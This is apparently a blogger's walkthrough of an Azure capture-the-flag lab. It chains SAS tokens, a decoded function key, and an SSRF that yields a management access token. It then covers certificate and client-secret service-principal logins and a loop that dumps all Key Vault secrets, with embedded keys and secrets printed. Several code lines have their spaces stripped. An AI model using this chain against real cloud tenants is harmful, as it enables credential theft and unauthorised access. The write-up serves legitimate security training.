A couple month ago I stumbled upon a challenge that was presented by Altered Security
Unfortunately I lost all my previous documentation on how I did it and wasn't able to recover it.
So let's do it again and dive into the world of Azure pentesting ;)
How Can You Start?
Fairly simple, just visit dartctf.enterprisesecurity.io and login using your googlemail address. Besides that, you may need a couple of additional tools.
Recommended Tools & Resources
Tools
NAME
DESCRIPTION
LINK
Links
NAME
DESCRIPTION
LINK
Flag 1 - To The Moon
After logging in we're presented with a URL to access the CTF and start our mission The DART Mission
Enumeration: Webpage
First, let's open the webpage and our devconsole. Browsing the page as intended and checking resources that have been loaded.
We can clearly see that a variables.css file has been loaded from GitHub and an image that is hosted on a Blob within Azure.
GitHub Repo
We've seen that variables.css is being loaded from GitHub, so let's check the repo and commits.
Browsing through the commits, we can spot our long awaited first flag and a logic app endpoint!
https://prod-61.eastus.logic.azure.com:443/workflows/250827f3ebc54c368f85643619f38ce3/triggers/manual/paths/invoke/test?
Flag 2 - SAS, Blobs & APIs
Since the page has been fully enumerated and there's nothing else to be found, we should dive into Azure Blob Storage
SAS Token
Maybe you think that the URL looks a bit odd. That's the case because it contains a shared access signature (SAS) token. That token can be used to delegate access to certain resources within an Azure storage account.
This folder contains some json files which consist of keys that are encrypted and are no use for us.
Luckily that's not all, we're also able to recover a functions 4.0 app endpoint
rosarray.azurewebsites.net
File: OSIRIX-REx.txt
That's an interesting file. When looking at the content, we get a string of characters that could be an GUID
6de8103e-049a-4f88-9abf-41099a79ca53
But there's also another function that's maybe available to us. We can check if there's any version history available.
Taking a look at the older version reveals another SAS Token that can maybe used on rosarray.azurewebsites.net
Opening https://prod-61.eastus.logic.azure.com:443/workflows/250827f3ebc54c368f85643619f38ce3/triggers/manual/paths/invoke/test? and appending the SAS Token we've found results in an error
Warning: An error has occurred in the Azure Logic App. The app has detected a problem with one or more of its components and is unable to complete the requested task. This could be due to a misconfiguration or an issue with one of the connectors being used. To troubleshoot the issue, please review the app's configuration and make any necessary adjustments. If the issue persists, please contact technical support for assistance in resolving the issue.
It is recommended to review the app's logs to determine the source of the issue. The logs may contain more detailed information about the error and can be used to identify the specific component that is causing the problem. Additionally, please ensure that all required connectors are properly configured and authenticated.
Please note that any issues with the app may impact other services that are relying on it, so it is important to address the issue as soon as possible. Thank you for your attention to this matter.
So let's check if we can find any other API Endpoints
Sure enough, we're lucky and identify endpoints /debug & /action
/debug
When visiting the debug endpoint, we're presented a piece of code and Flag 2! We're going to "crack" that code in our next chapter
Imp =b'Use the same carefully'MyValue =b'a*)h\x1f/!U9&\x1f\x1cz\x19\x038\r%/?\x15)\x10\x1d\t\x15A\\\nt&S8:L2%7\tW\x1dZ54\x14\t#U8\r?b70PX'defenc(MyValue): bytevalue =bytearray()for i inrange(len(MyValue)): bytevalue.append(MyValue[i] ^ Imp[i %len(Imp)])returnbytes(bytevalue)value =enc(MyValue.encode())print(value)Flag 2: Telemetry check-in confirmed.
Flag 3 - Reversing & API
Decrypt: Reverse XOR
Remember the code found on /debug? Let's get it decrypted, easier than you might think
The encryption here is a simple XOR operation, which is a reversible operation. To decrypt the data, you would need to XOR it again with the same encryption key (Imp) to retrieve the original MyValue.
Imp =b'Use the same carefully'MyValue =b'a*)h\x1f/!U9&\x1f\x1cz\x19\x038\r%/?\x15)\x10\x1d\t\x15A\\\nt&S8:L2%7\tW\x1dZ54\x14\t#U8\r?b70PX'defenc(MyValue): bytevalue =bytearray()for i inrange(len(MyValue)): bytevalue.append(MyValue[i] ^ Imp[i %len(Imp)])returnbytes(bytevalue)value =enc(MyValue)print(value.decode())
Decrypting it results in an Azure Function key 4YLHkGDuJGryZzbJhCZSyPEnl554oTU2U_lQDEl1h6YMAzFuLeZBDQ==
Accessing: Function App Endpoints
We discovered a list of function app endpoints when we started our journey. Let's try to use the key we've just found and check if we're able to access any endpoints.
By the way: Another piece to the puzzle was found on /action. This tells us how to use the code.
Warning: Incorrect action request received. The requested action is not recognized or not currently possible. Please verify the request and try again. If the issue persists, please contact mission control for further guidance.
Flag 3 : Anomaly detected in spacecraft trajectory.
Flag 4 - More API Endpoints
Next up is Flag 4 which can be retrieved by visiting the /action endpoint we discovered earlier
/action
Action Endpoint contains a code that will be used to dive deeper into another flag and traverse further into Azure
import requestsdefretrieve(code):if code: response = requests.get(f'https://rosarray.azurewebsites.net/api/Canister?code={code}')if response.status_code ==200: results = response.json()return resultselse:return{"error":{"message":"Oops! Something went wrong. Please try again later.","code":"500"}}else:return{"error":{"message":"Please provide a appropriate value to access the endpoint.","code":"400"}}code ="7CIzVAz1-SRtgbuwRG-PMTnL_BYbDhGaXrU-S-ZTEpDGAzFuCDmwrA=="results =retrieve(code)if"error"in results:print(f"Error: {results['error']['message']} ({results['error']['code']})")else:print(f"Found {len(results)} results for '{code}':")for result in results:print(result)Flag 4: Adjust spacecraft altitude by 5 degrees.Opening following URL will reveal some json to us
Flag 5 - Following the Endpoints
Flag 5 is also pretty easy, we just have to follow the path
/api/Canister
We're able to construct the next url using code we've found on /action endpoint
Opening the following URL will result in some json data that reveals Flag 5 and another function key including url
Error: Missing required query string parameter. Please check your request and try again.
To retrieve the requested resource, you must include the following query string parameter:
- Endpoint
Possible reasons for this error include:
- You forgot to include the query string parameter in your request.
- You misspelled the query string parameter name.
- You provided an invalid value for the query string parameter.
Please make sure that you include the correct query string parameter in your request and try again.
Flag 6 : Course correction burn deployed.
Flag 7 - SSRF
Maybe we're getting into Azure itself. Let's see how we can proceed ;)
/api/Deployer
When calling our /api/Deployer endpoint, we're getting a message that we're missing a required query string parameter
Adding the query parameter will result in an interesting error
curl -s -X POST 'https://rosarray.azurewebsites.net/api/Deployer?code=li1u2C-xrQ_xvUA5d18DUKcniUSAAd4NY_tS3KmsnTYGAzFuoYq5vw==&Endpoint=x' | jq '.'
That sounds like the function is relaying our request to an Endpoin we define JACKPOT ;) Smells like SSRF, which means we're able to contact the internal Metadata Endpoint!
curl -S -X POST 'https://rosarray.azurewebsites.net/api/Deployer?code=li1u2C-xrQ_xvUA5d18DUKcniUSAAd4NY_tS3KmsnTYGAzFuoYq5vw==&Endpoint=https://management.azure.com' | jq '.'
Azure: Enumeration
Since we're now equipped with an access_token, it's time to start enumeration on azure!
I was guessing that LORRI-Cert. Txt was our next step to get to Flag 8. Decoding the base 64 reveals that it is some kind of certificate.
Using google, I found a way to login as a service principal using az-cli on linux that was using a certificate. That's where the string that we've found in xyz comes in play.
Get Tenant Details
We need the Tenant ID to craft our login command
# Get access_tokenbearer_token=$(curl -s -X POST 'https://rosarray.azurewebsites.net/api/Deployer?code=li1u2C-xrQ_xvUA5d18DUKcniUSAAd4NY_tS3KmsnTYGAzFuoYq5vw==&Endpoint=https://management.azure.com' | jq -r '.access_token')
# Get Tenant IDcurl -H "Authorization: Bearer ${bearer_token}" -s -X GET "https://management.azure.com/tenants?api-version=2016-06-01" | jq .
First, we have to decode the base 64 to get a PFX File.
# Decode base64 to get a PKCS#12 archiveecho -n "MIIKOAIBAzCCCfQGCSqGSIb3DQEHAaCCCeUEggnhMIIJ3TCCBhYGCSqGSIb3DQEHAaCCBgcEggYDMIIF/zCCBfsGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIhvcNAQwBAzAOBAjFefw+jkvQRwICB9AEggTYpOiHRHvnr63gNCL8qfip2MeJDupL603hNrM2azmf7bxCVW/hedDK9qW92LyR3ORfe3JDez83UmKDaEE7q/LP0DVWvyof5GHwd/jkX9dQjGL2pi98bjqpg8LwhhG/G6FNwgU6cN53GKeZwhGtpswLyBBlEXbIGvvfyaevqU16HNtpiCfanF5rrZZG1ULTLI0GKnbmZwj1ONRVQdxJ7B+yM5EnRCihfbL+g4C30A8n98KMZx4d99vh9By0QxBUn4IEifJzSxBm53vR+X69Yev5TeyhVN/odr6zkD3cTUHpuOQntei7lLBBkjpIKvPR3sm5cU8j5OosZ3J8T3Z2gghPcLzSrhBwBWuCnJ22BjXfeFsVzqrFxocNKlIflluLSNplufOsYUQutG0erQIfH3zn6kVFDdPbY3bZwwRH5fSDBiUZ/2lnom4xRGJfApwLD/TTFbPP5+uGxs/VBtL64U/saGs675Q5/nFagpw8W+MbU9y+sAF0dVGM7FFZPFBIXyvlE+jk9CDuUTdTuxRzDTO23R85QaIKRFglBc6CaWKX3e5DYFRI0IGrXnGT2zdicCtngNAgPdtMEnhIrzZTrq6Nm3K+Z3WrkUfgOCbpjuT4R3w/7yEfsD/nIxNQhKE4OO029tlOi1uNQrHFOfSmiEhhgvM8rwvO3Qm7i0q43dkX/PlluWov45drIqTeCKS9pZj+CrXHHi8KDvJETc71YJkNs6tRoU6l//vz5LPPe17rENok4b+Bp4jYxE6LpS8J1DYYOBXg9v0/yE7TXWBt0/fASFrdfYDrVEoQHKUollhhpTtCislcsvCup5LufUmIQh2hS4Av+MNSc+fsXpjo34FcfRkzgwO+t1dGhdvo3Dph97HBy6SanY5UGaco/2wcxxj7VNSym5D0BTvUFeJLds7y5A22hgwM/IrJwrviKvtAAYOmNoeeeUn7O2ldf0xZE1TJ8KisRDj+ZNQhJABS+m5djniVSs4A7bmsTTqqEMAmBnO7iefb12n3FoUepRQs5CgIGyMzfqYLyMctQawVmGtiTM6VHloXTHAZwUMB21NWedigAB7Ff8H6GNcXuUK3tS0UDRmO4SAFLXWVPeVC795pcLmH+ofHg+YLpeI7sOxqgoMx5s7w7lAImCILUmEqaK2xYLc4cXq1FS8yC/nZzb7i8PhYsrb0zXaRk7+2cigLqeOQDGDleX0Je8OC1M9rEhUISnncPw7C0/h6geP9P4LSKOdq4fp62VU/UuRHWnD5GbmR3//T6O2OFq6wpPc8I3h6hUv/NeDnjec183NmUdsvJDk0RAmV5yikLH0JeqCnpkBcWoaArBa9W9SHLsfXpNomeTWwMHg8jCnz8RPBu8BVCfIF8WWGLj5UU7nX4cgquUTYdtOEQQ2ILDmZ+ms8syMZOrh++8GKPR5Ip6TYfE8QWUOzs4+mhOeNpvDxMRTmrUjKCz8LfkWpgQilnKCEhvCwgU1R5gJ9Dm7wPaRv/SjUGf2my/HnEZCbNF7Pi78mQLSJAgk8L85cGtwWGs/6e0cS1pkwljAoCRCQ8eJ70MppjcBLgMHj33fZaTdzncSeMasa7dqEbEvWloLHRE6cW9BzWzn026j10wygg6L4VwPcKK6J/AQSGtgg8QDi7PlTD9399i6cPCHKeTGB6TATBgkqhkiG9w0BCRUxBgQEAQAAADBXBgkqhkiG9w0BCRQxSh5IADAAMwAwAGMAMwAzADkANQAtADYAMwBmAGMALQA0ADEAOQAyAC0AOQAzADQAZgAtADkANgBiADIANgAzAGUANAA0ADkAMABiMHkGCSsGAQQBgjcRATFsHmoATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByMIIDvwYJKoZIhvcNAQcGoIIDsDCCA6wCAQAwggOlBgkqhkiG9w0BBwEwHAYKKoZIhvcNAQwBAzAOBAidGGT8jA+HMAICB9CAggN4bda0juufrIv7sNOmfzL98x6dHQjVcamogI/62CGRSQR7rQZmarnTe6u3iXY0tvSVkM3gkdUgYGubbyO850j8hO0YBSdQHp7y5OFKM4X7R2/BOlwxjN+iNu1Z8QhZzmViQmnU9rtbLNx318oAUs87VLKBO7Eez/kES9ghnhE8W+9zYdL1uIdrPLyYuL97E+uuNiKjny9eKRQr2LpJSY6j2a4BvEu2kr8KRdS1apj6Mn00IB3cDJ52zrZ36BoOmQBOhQOQ4zxF9UmMuseXPohDrh43uEFO+Fw46NZgObgZ+YWc44qNnZUF/0sQ1BUzWNA+fDBTnQ3yZDjpP9m6WXXMMHSdsLuw5jDEjWkGKbU2Xn/3O7kvyXQFdqGmklX7HK8LcFw+GgHxW9hkR2VcNXJN/BetIw9h2ITnEWrVpbcXq5GYgExTJ1t+zIKRrDUH/E0dUgrrUZ9UBy4DhAZpG2GYbKIznNUBggNS41z9jFYOhcRFlc2GmxC4s0bcKHW4DiVsNl9r6LhY/8/pYoZC0R78tvOYZkGjy2QQFqRg1S/OXFiFBqRCZReQPpzHPcPYawAosDpDWihEb3jsH1g0qcRrIVTBv7Xvgjzwk5VgEI2CZ5s8VvEWbgQ8aoVOzbBHS9e4DSYx1vd0oDnrmyvyREsUrdY9EHELC+kbZR6X7fLTHAtDgkH4AKfeTt3Erxt3HuOUwOsSgVWeWt4KKYsm1+hoUCzy2o50E5mgwkLk7vTI+kfHolUSHPL0xZStA6nnADAxYYgvGemea05lwk4S6fhGWfKrfV6dy2Gp+qTEYAA3+yS8MBEbZQyM+7On+dQQAqoW2hTQGqmxhZI5Zmr9hDGw+/vC14N9+ckn6OZIJzJyFMQf7RBUu8Z6ZkpzLcPLT6VzvUIGYCkHgB2UdOdg7Xd6pKNMacrQXQ6kc8NP1AxCkdORyJlPiPEGUiM4o3uOmYZml+08dnP0pllVQ2ucv9Yp0JOtE5nInYkC7noaUCq8XGh6UcxMSH929zsoEIzMzCYm+VASLtfV3h1cXSgjMQzamSWaiVE+D9HRXiyKH4PBOn5QTduaYS2mT9KgyiuZnB5LJqXc0uRhHxgXcOErVFiAEC/peZEbEovhx9RIGiuwGOl2ph6edLuj9qEeEwk45rxmz7/bAiNZZ+8oLzfDzHX/Og42ze+AjwG2MDswHzAHBgUrDgMCGgQUhh30z0oNs5zbIY4HmUZKdxHiDs8EFJNFGi8iuU+KL0KF85FFk6UZA5rdAgIH0A==" | base64 -d > cert.pfx
Next up is converting it to a default pem file and removing the password
# Convert pfx to pemopensslpkcs12-incert.pfx-outcertificate.pem-clcerts# Remove private key passwordopensslrsa-incertificate.pem-outaz.pem# Last but not least add the certificate part from certificate.pem to az.pem
az login --service-principal -u 6de8103e-049a-4f88-9abf-41099a79ca53 -p ./az.pem --tenant 5f487283-b88e-4ade-8035-7bcaac4156b3
Azure: Enumeration
Like before, we're going to find out what we can access.
# Getting an overview about all resourcesazresourcelist# Listing Keyvaultsazkeyvaultlist# Listing Secrets that we might be able to accessazkeyvaultsecretlist--vault-nameCubeSat|jq'.[].name'# Dump everything that's possible - Got two Entrys!for i in $(azkeyvaultsecretlist--vault-nameCubeSat|jq-r'.[].id'); doazkeyvaultsecretshow--id $i; done
![](attachments/az_keyvault_1 1.png)
Flag 8 - Found
{"attributes": {"created":"2023-03-17T09:38:18+00:00","enabled":true,"expires":null,"notBefore":null,"recoverableDays":90,"recoveryLevel":"Recoverable+Purgeable","updated":"2023-03-17T09:38:18+00:00" },"contentType":null,"id":"https://cubesat.vault.azure.net/secrets/Flag8/7b5ab8c0b4794a8692456e65057faa59","kid":null,"managed":null,"name":"Flag8","tags":null,"value":"Flag 8 : DART spacecraft has entered final descent."}
Flag 9 - More Key Vault Fun
Flag 9 has something to do with the entry we were able to find in keyvault. The name looks like an application ID, so maybe we're able to recover the client secret
az login --service-principal -u "0704d1bc-950f-42c8-b0cd-c0569d111da1" -p "qj08Q~IeXpoPFNPLZiCK5pspf5fcBMqbqXy0Dbn9" --tenant "5f487283-b88e-4ade-8035-7bcaac4156b3"
More Enumeration
# List of resources we have access toazresourcelist# Dumping the secretsfor i in $(azkeyvaultsecretlist--vault-nameCubeSat|jq-r'.[].id'); doazkeyvaultsecretshow--id $i; done
{"attributes": {"created":"2023-03-17T09:42:41+00:00","enabled":true,"expires":null,"notBefore":null,"recoverableDays":90,"recoveryLevel":"Recoverable+Purgeable","updated":"2023-03-17T09:42:41+00:00" },"contentType":null,"id":"https://cubesat.vault.azure.net/secrets/Flag9/a58859d6a0b74736b167009cfb36b6f9","kid":null,"managed":null,"name":"Flag9","tags":null,"value":"Flag 9 : Prepare for impact!"}
And there's access to Flag 9 ;)
Final Flag - CosmoDB
As seen before we have access to a DocumentDB resource which is the name for a cosmos db
Unfortunately, we're unable to perform any kind of action on that resource except listing its configuration
# List everythingazcosmosdbshow--nameoutermainbelt--resource-groupDARTMission# Just get the document endpointazcosmosdbshow--nameoutermainbelt--resource-groupDARTMission|jq'.documentEndpoint'
https://outermainbelt.documents.azure.com:443/
If we try to access the document endpoint, we're shown an error message
{"code":"Unauthorized","message":"Required Header authorization is missing. Ensure a valid Authorization token is passed.\r\nActivityId: 198c1e6e-d9c4-44ee-87ed-a1b2d858386c, Microsoft.Azure.Documents.Common/2.14.0"}
So maybe we can use the "Ascenion" entry, which we were able to find using our new credentials